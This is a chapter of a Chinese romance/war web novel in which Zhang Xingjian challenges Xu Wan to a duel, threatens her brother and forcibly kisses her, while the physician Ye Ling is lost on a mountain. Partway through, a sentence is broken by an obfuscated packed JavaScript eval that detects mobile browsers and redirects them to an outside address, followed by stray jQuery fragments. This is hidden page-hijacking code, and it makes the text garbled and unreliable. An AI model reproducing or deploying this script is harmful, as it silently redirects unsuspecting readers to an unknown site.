109. 三个月后,决战,就你我
作品:《重生之我在敌国当功臣》 徐晚用另一只手把章行简推开。
“当初战死,是敌强我弱,内奸的事情也与你无关,所以,你并不欠我一条命,成王败寇的道理,从我刚入军营,就知道了,相信你也是。”
章行简看着她,眉目里是徐晚读不懂的情绪,“那你……是不是,永远也不会回来了。”
徐晚偏过头,不敢看他的眼睛,面容依旧保持镇静肃然。
“我本是打算在你与我和叶时分三路而走的路上,遇滑坡假死,谁知呼拓盯上了我,更是没料到他会放火烧营,舅父瞒着我的死讯,后来应该是顺水推舟,我成了战死。”
徐晚想到章行简那时的伤心欲绝,心中不由得抽痛,“这样也好,我把徐之宜的遗愿都完成了,在昭明的徐之宜,也成了战死的英勇忠臣,相信看在她的功绩上,叶家也会更受皇帝的信任,算是报答了舅父的养育恩情了。”她顿了顿,语气变得冷了起来,“我也算没有挂碍了。”
章行简看着她决绝的侧脸,“那我呢,你的每一句话里都没有我。”他声音带着质问,“毫无挂碍?你既不要我偿命,是不是,永远都不会回昭明了,是不是……真的舍弃我了?”
徐晚眼眶红了红,“我也不想舍弃你,可是现在我们的立场不同,你是昭明之臣,我是南荣之将,你又如此厌恶南荣,我更不可能随你去昭明,我们如何能继续在一起?”
她的手,抚过他的脸,眼里满是不舍和神情,“汩城的那段时间,我很开心,这就够了,你知道我活着,我知道你在昭明无恙,这已经是上天最大的恩赐了。”
章行简不可置信,“你骗我假死,害我日日痛心,如今知道你还活着,还觉得我离开你独自在昭明会过的无恙安逸?你真当我和你一样没有心?!”
徐晚一噎。
他的情绪变得激动起来,喘着气,死命的瞪着徐晚。
完了,该不会,真的要动手吧。
她不由得握紧了腰间的传信烟花,这个举动,落入了章行简的眼中,更是生气。
“你这个狼心狗肺的女人,我要和你决斗!”章行简指着徐晚的鼻子,声音虽然有意控制,可还是能听出他此刻很愤怒。
徐晚愣住了,决斗?她和他?现在吗?
她不耻下问,“为什么……”
章行简被她这样丝毫不通情意,甚至毫无心眼的样子给气坏了,还问为什么?!
他稍微平复了自己,眼神擒住她的目光,开口道:“你赢了,我归你处置,我赢了,你的命归我。”
徐晚知道他是真的气疯了,要是她输了,是不是命就没了,他难道就这么生气吗?不就是隐瞒自己是他死对头的身份,还假死回南荣而已,何故要闹到你死我活的局面。
“要不,还是别比了,谁输谁赢,都会有人受伤,何必如此大动干戈,你回昭明,我回南荣,我们相安无事,这样不好吗?”徐晚想看看还有没有转圜的余地。
相安无事?这个死女人!
“不好!”他咬牙切齿。
徐晚:“……”
“你要是不和我打,我现在就拉着你一起跳下去。”
徐晚:“?!!”他是疯了吗?!
她立马离那岸边远了一些,生怕他真的把她拉下去。
章行简狠狠攥住她的手,把她拉回了自己怀里,“记住,回去好好勤加练武,三个月后,还是在此处,你我决战,若是你不来,小心你弟弟徐萧!”
徐晚瞪大了眼,“你要干什么,要是动了他,我跟你没完!”
章行简看她动怒了,更是被气笑了,连徐萧都能牵引她的情绪,刚才还对他那副绝情的样子,“徐之宜……不对,是徐晚,你真的没有心,我们之间生死相交的情谊,竟然还比不过那个徐萧?!”
徐晚真是觉得他被气出病来了,徐萧是她弟弟,她当然在乎他!
“你别乱来,徐萧是质子,又是昭明内乱的功臣,他要是在昭明出了事,两国边境势必会再起波澜。”徐晚厉色警告他。
章行简冷笑一声,把她抱得更紧,徐晚一时挣脱不开,“好啊,只要你应战,我不会动他。”
徐晚真的想一拳打晕他,还敢威胁自己?
“三个月后是吗?可以,要是我赢了,你就得乖乖任我处置,绝不能反悔!”
章行简得意一笑,眼里闪过一丝算计,“决不反悔!”
见他一边威胁,还一边抱着她,徐晚觉得十分不痛快,“你先放开我!”
章行简松开了一些,而后,动作快速的低下头,吻如狂风暴雨般而下。
衬得旁边急流都显得温和了许多。
直到徐晚喘不过气,把他捶开了。
章行简笑着看她嗔怒的眼睛,“这是你欺骗我的惩罚,记住了,三个月后的今天,在这里,就你我,我们痛痛快快打一架。”
他转身,似乎毫不留恋般,策马朝着昭明方向而去,留徐晚在河边慢慢冷静。
天气越发寒冷,她不禁哆嗦了一下,暗骂一声,“这个疯子。”
徐晚一回到主营,就见杨开在大帐内走来走去,十分焦急的样子。
“你终于回来了,怎么样,没事吧?他有没有打你?”杨开上上下下把她打量了一遍,除了唇角有些红肿,其余的好像也没什么。
他松了一口气。
杨开这个莽夫,自然也不知道唇肿意味着什么,还觉得章行简确实是条汉子,这都没生气,“他看起来,也还过得去嘛,至少脾气还行?”
徐晚:“……”无言瞪着他。
“别提他,烦死了,从今日开始,三个月内,你给我把军中所有百夫长找来,我要与他们切磋武艺。”
杨开一愣,很是不解,“怎么了?突然这么用功?怕打不过我?”
徐晚是怕打不过他……
“章行简向我下战书,三个月后的今天,他和我决斗,生死不论,若是我不去,他就要对阿弟动手,真是疯子!”
杨开顿时怒了,“什么!生死不论的意思是,你输了你就得死?”
这狗东西这么不是人吗?她好歹还帮着他们昭明平了内乱,有从龙之
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932759|183763||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
功呢!
“我跟你一起去,我就不信,两个人还打不过他!”杨开摩拳擦掌,咬着牙,恶狠狠的盯着昭明的方向。
“单人对战,你不能掺和,再说,我也不一定输,叶翎说,我喝药三个月就能恢复如初了,到时候,定要把他扔进河里喂鱼!”
徐晚一想到她被威胁、轻薄的场景,她就恨得牙痒痒。
杨开倒是鲜少看见徐晚如此生气,弄的他都不敢说话了,悻悻道:“那我去给你找人练手去。”
徐晚说起叶翎,这才想到,怎么回来没看见她,不是说要在这里待几天,找药材的吗?应该不可能今天就回昭明,“等等,叶翎呢?”
杨开听到她的名字,忍不住皱眉,“她把我们草药库翻了个遍,没找到她想要的药材,去须臾山采药去了,现在应该快回来了吧。”
徐晚皱了皱眉,“你没跟着她?不是让你跟着吗?”
杨开立马举手,“欸,冤枉,我跟着了,是她嫌弃我太吵了,还嫌我踩坏了她的宝贝,后来就把我赶走了。”
“赶你走,你不会在山下等着吗?”徐晚真是操不完的心,杨开在这些细微事情上,从来不靠谱。
“我留了人的,只我自己回来了,哎呀放心吧,须臾山她说自己去过,不会有事的,我还留了传信烟花给她,保证万无一失!”他拍了拍自己的胸膛,觉得自己思虑周全,十分自得。
徐晚真是懒得骂了,今日情绪激荡一天,回来也不省心,她真是累了。
杨开见她脸色苍白,“行行行,我去看看她回来了没有,你休息吧,省的你伤口又疼了,恢复不好,到时候被章行简打趴下,拐到昭明去,那我又得累死累活当牛做马了。”
徐晚:“……”狗人有狗嘴。
杨开去了叶翎的营帐,发现她还真没回来,问了士兵也说没见过她回营。
心下觉得不好,骑上快马,带着人去了山上找她。
这个季节,山上的狼最是饥饿,要是真有个什么好歹,他得被徐晚撕了。
叶翎在须臾山采药,因为和杨开发生争执,一气之下,让他先回去了,反正这里她也来过几回,山下也还有士兵,喊几声就能听见,应该不会出事。
她把他给的传信烟花随手丢到背篓里,自顾自找药去了。
须臾山草药繁多,之前跟着师傅到处搜寻不到的蓝芯草,现在居然找到了,只是她没想到,那地方土质松软,居然一踩就空,她只来得及抓住草药,没来得及呼救,人就掉了下去,摔了好几圈。
等她醒来,就不知道在哪了,看着树枝的生长方向和光泽程度,这里好像是南边的山,她从北面,一路滚到了南边的山下。
这里树枝横叉,她被拦了不少下,才没有受什么大伤。
只是背篓不知道上哪去了,要不然还能燃烟花求助。
但是幸好,手上的蓝芯草还在。
叶翎松了一口气,小心的撕了一块衣裙,包着它,藏进了自己怀里。
这可是她舍命拿到的,是治疗脑疾的良药,可不能丢了。

